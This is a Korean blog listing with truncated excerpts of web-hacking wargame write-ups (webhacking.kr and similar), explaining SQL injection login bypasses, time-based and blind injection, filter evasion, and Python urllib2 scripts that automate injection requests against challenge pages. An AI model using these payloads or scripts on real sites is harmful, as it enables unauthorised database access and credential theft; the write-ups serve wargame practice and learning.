webhacking 180

itchy

http://itchy.dothome.co.kr/ 예상 쿼리문 : select id from table where id='$_GET[id]' and pw='$_GET[pw]' 1. admin으로 로그인하면 통과. id=guest,pw=guest입력시 guest로 로그인 가능.필터링된게 없는거 같으므로admin'#&pw=guest 등으로 pw를 막아버리면 됨.만들어질 예상 쿼리문 : select id from table where id='admin'#' and pw='guest'?id=admin'%23&pw=guest %23은 #으로 mysql 주석. 2. id에 #과 --필터링 추가.id=a&pw=g' or id='admin 으로 id, pw다틀려도 마지막 id='admin으로 true를 만드면 됨.만들..

시간 기반 sql 인젝션.

참고 : http://www.sqlinjection.net/ 시간 기반 인젝션은 간단히 설명하자면 쿼리의 결과값이 true이던 false이던간에 그 결과값을화면에 출력하지 않아서 알아볼 수 없을 시에, 시간을 멈춤으로서 경과한 시간을 가지고쿼리의 참 거짓을 판별하는걸 말합니다.테이블을 간단하게 하나 만들었습니다. 1. 위 설명 그대로 시간을 멈춤. mysql의 sleep함수를 이용합니다. password에서 첫 글자를 뽑아왔을시 h가 맞으면 2초를 멈추겠다는 쿼리입니다. 아래 결과를 보면 첫글자가 h가 맞을시 2초의시간이 걸렸고, 틀렸을시에는 그냥 결과를 출력하는걸 알 수 있습니다. 코딩을 할 때에는 시간 모듈같은걸 써서 해당 시간이상걸렸으면 true라고 판별하면 되겠죠? 2. sleep함수가 필터링되서..

효율적인 블라인드 인젝션

일반적으로 블라인드 sql인젝션시 ascii(substr('문자열',1,1)) 이런식으로 값을 뽑아냅니다.뽑아낼 문자열을 예를들어서 'zabcde'라고 하면 대부분 포문을 돌릴때 아스키코드값의 범위인32~127이나 48~127사이로 포문을 돌리는데.. ascii(substr('zabcde',1,1))=32~127이라고 포문을 돌린다고 가정하면 첫번째 문자 z를 뽑아내려면z의 아스키코드값인 122가 나올때까지 32~122까지 91번을 돌려야 값을 뽑아낼수 있습니다.비밀번호에 영문자만 있는걸 알면 97~122사이로 돌릴텐데 그걸 모른다는게 문제이죠.더군다나 다른 문자도 껴있다면 굳이 효율을 위해 97~122보다 시간이 조금 오래 걸리겠지만32~127범위로 포문을 돌릴겁니다. 평균적으로 한 문자 돌리는데 최소..

숫자 뽑아오기.

sql 인젝션시 숫자가 어떻게든 필요한데 숫자가 다 막혀있을경우...더군다나 수학 함수도 다 필터링되어있을 경우 환경변수에서 뽑아서 만들면 됩니다.mysql같은경우 show variables;명령어로 환경변수 확인 가능. tmp_table_size 같은 경우 뭔가 숫자가 많아서 하나씩 뽑아내거나 하기 편하겠네요.환경변수는 @@로 호출. 환경변수에서 필요한 수 뽑아내는 예제. 조금 공부해보신분들은 아시겠지만 substr이 막혀있으면 left,right나 mid같은걸로도 됩니다.위에 적은 예제처럼 수학 함수로 변형해서 뽑아오거나 또는....1^1 == 0, 같은문자^같은문자 == 0 숫자는 막혀있다고 가정했으니 문자로 해도 됩니다. 1 like 1 ==1, 같은문자 like 같은문자 == 1 마찬가지입니다...

webhacking.kr 7번 소스코드

import urllib,urllib2 # -*- coding: euc-kr -*- form = urllib.urlencode({'id':'?????','pw':'?????'}) req = urllib2.Request('http://webhacking.kr',form) res = urllib2.urlopen(req) session = res.headers.get('set-cookie') #여기까지는 항상 똑같은 세션얻어오는 코드. while 1: req = urllib2.Request('http://webhacking.kr/challenge/web/web-07/index.php?val=0)%0aunion%0aselect%0a(3-1') #계속 요청을 보내면서 req.add_header('cookie',s..

webhacking.kr 5번

로그인 버튼 눌렀을시 경로/challenge/web/web-05/mem/login.php조인버튼 누르면 alert창이 뜸. 이것저것 해보다가 /challenge/web/web-05/mem/ 까지만 입력해보면디렉터리 리스팅 취약점 발견 join.php들어가서 소스코드 확인. http://jsbeautifier.org/ 에서 한번 해독해보면보기좋게 나옴. 중간즈음의 if문에서 어떤 검사를 해서 아닐시 alert으로 출력하고 history.go(-1); 로되돌다온다는걸 알수있음. 그냥 저부분은 자바스크립트이므로 우회할수 있다고 생각하고 폼 정보만살펴보면document.write('Join'); document.write('.....'); document.write(''); document.write('id')..

webhacking/client 2014.08.19

rubiya님의 문서

http://hackerschool.org/Sub_Html/HS_Posting/index.html?uid=43루비야님이 적은 sql 인젝션 문서. 엄청나게 좋은 꿀팁이기에 주소 남깁니다.웹해킹 하시는 분이면 반드시 끝까지 다 익힙시다. 이렇게 잘 정리된 한글 문서도드물다고 볼 수 있습니다.이 문서 올린 팀에 가서 주섬주섬 돌아다니다 보면 진짜 감탄사 나올 문서나 꿀팁이 많아요... 여기저기 찾아서 돌아다녀보시기 바랍니다. SQL Injection for Expert 목차* 이 문서는 어떻게 작성되었는가? * SQL Injection Filter Bypass * , Array 변수를 사용한 SQL Injection * Error Based SQL Injection * Error Based Blind SQL..

webhacking.kr 12번

소스코드보면 자바스크립트 문제. 끝에 eval함수로 암호화된 구문을 실행시킵니다. 그러면 eval로 실행시키기 이전 구문만 크롬 개발자도구에 갖다붙이면 알아서 해석해줍니다. 해석된 구문을 다시 해석해야됩니다. 맨 아래의 복잡한 if문에서 결과가 맞으면 alert로 password를출력해주세요. if부분이 중요한걸 알았으니 if부분을 출력해보면 됩니다. document.write로 직접 출력해보죠. 이렇게 if문만 document.write로 바꾸고 아래 중괄호를 없앴는데 false가 뜨네요. 내부를 자세히 살펴보니 ck==으로 비교합니다. 다르니까 false가 뜨겠죠. ck는 이따 어떻게든 바꾸기로 하고 ck를 빼고 한번 출력해보겠습니다. =youaregod~~~~~~~! 가 출력됩니다. ck가 저거랑 ..

webhacking/client 2014.08.15

webhacking.kr 2번

2번은 추측과 서브쿼리에 관한 지식이 필요합니다.1. 소스를 보면 /admin이라는 관리자 페이지 발견./admin페이지에 들어가서 소스를 보면 폼 이름이 admin과 텍스트상자 이름이 password라는걸로테이블명은 admin, 컬럼은 password라는걸로 추측..2. /bbs/index.php 라는 곳에서 비밀글 발견. FreeB0aRd 라는 대문에 있는 문자열과폼 텍스트박스 이름이 마찬가지로 password라는걸로 테이블명 FreeB0aRd, 컬럼명password추측. (솔직히 조금 오바같아요.)3. 쿠키에 time이라는 이름의 쿠키와 1407736636라는 이상한 값 발견.값 뒤에 and 1=1같이 아무 값이나 인젝션했을때 메인 페이지 소스에서 시간 값 변경 발견.. 기술보다는 엄청나게 추측이 ..

webhacking.kr 1번.

1번 문제 소스입니다. 일단 eregi함수는 필터링으로 해당 문자가 있는지 확인하는 내용입니다. sql인젝션 문제에서 자주 등장하니 형태를 익혀두시는게 좋을거에요.http://c_study_s.blog.me/30133211775 참고하시기 바랍니다...첫번째 패턴 부분인 [^0-9,.]에서 ^는 제외한다는 뜻, 0-9는 0~9사이의 숫자라는 뜻.,는 0-9와 .을 구분하기 위한 ,이고 .은 임의의 한 글자를 뜻합니다.즉 [^0-9,.]은 0~9사이의 숫자를 제외한 나머지 아무 한 글자를 뜻합니다.또 $_COOKIE[]변수는 쿠키값을 뜻하고, 내부의 인자는 쿠키 이름입니다.$_COOKIE[user_lv]는 user_lv라는 이름의 쿠키가 있다고 보시면 됩니다.즉 if(eregi("[^0-9,.]",$_CO..

webhacking/client 2014.08.11

webhacking.kr 8번

중요 부분. $pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/"; if(preg_match($pat,$agent)) exit("Access Denied!"); //agent값에서 $pat으로 필터리을 함. $q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'"); //쿼리 돌려서 $ck=@mysql_fetch_array($q); if($ck) //결과가 admin이면 통과 {..

webhacking.kr 6번

http://webhacking.kr/challenge/web/web-06/index.php 참고 포스팅 : http://qkqhxla1.tistory.com/entry/md5-sha1-base64%EB%93%B1%EC%9D%98-%EC%9D%B8%EC%BD%94%EB%94%A9%EB%94%94%EC%BD%94%EB%94%A9 6번 입니다. 소스봐서 문제코드를 해독한 후 역으로 따라올라가면 답이 나올겁니다. 1. 'admin' 문자열을 20번 인코딩 2. $decode_id=str_replace("!","1",$decode_id); ~~ 등의 규칙으로 문자열을 역으로 변경. 3. user,password라는 쿠기값에다 저 값을 집어넣음. 역시 파이썬으로 아주 쉽게 가능합니다. 1번과정. import ba..

webhacking/client 2014.08.10

webhacking.kr 2번 소스코드

여기에 쓰인 로그인 방법론이나 sql인젝션 관련 지식은 해당 카테고리에 다 포스팅해놨어요. 파이썬 로그인 방법론은 웹,소켓 프로그래밍 카테고리에 있습니다. import urllib,urllib2 form = urllib.urlencode({'id':'??????','pw':'??????'}) req = urllib2.Request('http://webhacking.kr',form) res = urllib2.urlopen(req) session = res.headers.get('set-cookie') for i in range(0,30): #password길이를 구하기 위한 반복문. < print i req = urllib2.Request('http://webhacking.kr/challenge/web/w..